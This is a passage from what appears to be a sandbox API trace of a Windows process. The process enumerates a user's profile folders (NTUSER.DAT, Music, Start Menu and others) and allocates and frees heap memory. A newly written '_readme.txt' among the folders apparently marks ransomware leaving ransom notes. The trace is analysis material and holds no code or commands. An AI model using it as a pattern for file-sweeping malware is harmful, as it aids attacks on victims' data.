ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Links", cAlternateFileName="")) returned 1 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487e88 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488098 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488040 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488098 | out: hHeap=0x810000) returned 1 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487e88 | out: hHeap=0x810000) returned 1 [0124.366] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed388 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed4c0 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x16c) returned 0x33e06d8 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487e88 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed528 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488098 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487d80 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x34880f0 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x3ae3c08 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x3ae3c70 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x3ae3cd8 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488148 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487dd8 | out: hHeap=0x810000) returned 1 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed3f0 | out: hHeap=0x810000) returned 1 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487e30 | out: hHeap=0x810000) returned 1 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487fe8 | out: hHeap=0x810000) returned 1 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487f90 | out: hHeap=0x810000) returned 1 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed458 | out: hHeap=0x810000) returned 1 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed320 | out: hHeap=0x810000) returned 1 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed2b8 | out: hHeap=0x810000) returned 1 [0124.367] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488040 | out: hHeap=0x810000) returned 1 [0124.367] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x347b558 | out: hHeap=0x810000) returned 1 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed2b8 [0124.367] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed4c0 | out: hHeap=0x810000) returned 1 [0124.367] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed388 | out: hHeap=0x810000) returned 1 [0124.367] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8eb7e00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8eb7e00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Music", cAlternateFileName="")) returned 1 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488040 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487f90 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487fe8 [0124.367] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487f90 | out: hHeap=0x810000) returned 1 [0124.367] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488040 | out: hHeap=0x810000) returned 1 [0124.367] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed388 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed4c0 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed320 [0124.367] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed4c0 | out: hHeap=0x810000) returned 1 [0124.367] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed388 | out: hHeap=0x810000) returned 1 [0124.367] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="NetHood", cAlternateFileName="")) returned 1 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488040 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487f90 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487e30 [0124.367] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487f90 | out: hHeap=0x810000) returned 1 [0124.367] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488040 | out: hHeap=0x810000) returned 1 [0124.367] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e090ec0, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x2e090ec0, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0124.367] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e06ad60, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0124.367] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0124.367] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0124.367] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0124.367] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0124.367] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0124.367] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8fe8900, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8fe8900, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Pictures", cAlternateFileName="")) returned 1 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488040 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487f90 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x214) returned 0x3ae2ff8 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487dd8 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed388 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x34881a0 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x34881f8 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488250 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed4c0 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed458 [0124.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed3f0 [0124.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x34882a8 [0124.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x3ae3d40 [0124.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488300 [0124.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x3ae3da8 [0124.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488358 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487e88 | out: hHeap=0x810000) returned 1 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed528 | out: hHeap=0x810000) returned 1 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488098 | out: hHeap=0x810000) returned 1 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487d80 | out: hHeap=0x810000) returned 1 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34880f0 | out: hHeap=0x810000) returned 1 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3c08 | out: hHeap=0x810000) returned 1 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3c70 | out: hHeap=0x810000) returned 1 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3cd8 | out: hHeap=0x810000) returned 1 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488148 | out: hHeap=0x810000) returned 1 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed2b8 | out: hHeap=0x810000) returned 1 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487fe8 | out: hHeap=0x810000) returned 1 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed320 | out: hHeap=0x810000) returned 1 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487e30 | out: hHeap=0x810000) returned 1 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x33e06d8 | out: hHeap=0x810000) returned 1 [0124.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487e30 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487f90 | out: hHeap=0x810000) returned 1 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488040 | out: hHeap=0x810000) returned 1 [0124.368] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0124.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488040 [0124.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x76) returned 0x876c58 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488040 | out: hHeap=0x810000) returned 1 [0124.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed320 [0124.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed2b8 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed320 | out: hHeap=0x810000) returned 1 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x876c58 | out: hHeap=0x810000) returned 1 [0124.368] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Recent", cAlternateFileName="")) returned 1 [0124.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488040 [0124.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487f90 [0124.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487fe8 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487f90 | out: hHeap=0x810000) returned 1 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488040 | out: hHeap=0x810000) returned 1 [0124.368] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0124.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed320 [0124.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed528 [0124.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x3ae3cd8 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed528 | out: hHeap=0x810000) returned 1 [0124.368] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed320 | out: hHeap=0x810000) returned 1 [0124.368] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Searches", cAlternateFileName="")) returned 1 [0124.369] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488040 [0124.369] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487f90 [0124.369] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488148 [0124.369] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487f90 | out: hHeap=0x810000) returned 1 [0124.369] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488040 | out: hHeap=0x810000) returned 1 [0124.369] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="SendTo", cAlternateFileName="")) returned 1 [0124.369] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488040 [0124.369] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487f90 [0124.369] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x34880f0 [0124.369] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487f90 | out: hHeap=0x810000) returned 1 [0124.369] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488040 | out: hHeap=0x810000) returned 1 [0124.369] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0124.369] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed320 [0124.369] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed528 [0124.369] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x310) returned 0x3ae3218 [0124.369] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488040 [0124.369] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x3ae3c70 [0124.369] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487f90 [0124.369] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487d80 [0124.369] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488098 [0124.369] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0124.369] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8f9c640, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8f9c640, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Videos", cAlternateFileName="")) returned 1 [0124.369] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x558cd760, ftCreationTime.dwHighDateTime=0x1d643ed, ftLastAccessTime.dwLowDateTime=0x558cd760, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x558cd760, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0124.369] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x558cd760, ftCreationTime.dwHighDateTime=0x1d643ed, ftLastAccessTime.dwLowDateTime=0x558cd760, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x558cd760, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0124.369] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.369] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f90 | out: hHeap=0x810000) returned 1 [0124.369] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.369] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439720 | out: hHeap=0x810000) returned 1 [0124.369] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.369] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.369] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.369] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.369] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.370] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS 